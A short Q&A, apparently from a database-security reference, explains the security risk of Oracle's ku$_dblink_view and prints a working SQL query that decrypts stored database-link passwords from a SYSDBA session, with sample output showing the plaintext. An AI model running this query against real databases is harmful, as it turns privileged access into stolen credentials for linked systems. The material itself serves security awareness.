Question: What are the security
implications of the ku$_dblink_view?
Answer: The ku$_dblink_view and the
related ku$_10_1_dblink_view, internal table about
database links that store the password that is specified
when a database link is created:
create public
database link
mylink
connect to
xxx
identified by
mysecretpassword;
Rampant
author
Paul Wright shows this working example of
ku$_dblink_view that displays the passwordx
column, and thereby displays the password for a database
link, a clear security issue, but only if a SYSDBA user ID
is compromised. This is because SYSDBA user is
required to see the passwordx column of
ku$_dblink_view:
connect sys/xxxx;
select
name,
userid,
utl_raw.cast_to_varchar2(dbms_crypto.decrypt((substr(passwordx,19)),
4353, (substr(passwordx,3,16))))
passwd
from
ku$_dblink_view;
NAME
--------------------------------------------------------------------------------
USERID
------------------------------
PASSWD
--------------------------------------------------------------------------------
TEST_LINK.ENTERPRISE.INTERNAL.UK
DBLINK_ACCOUNT
mysecretpassword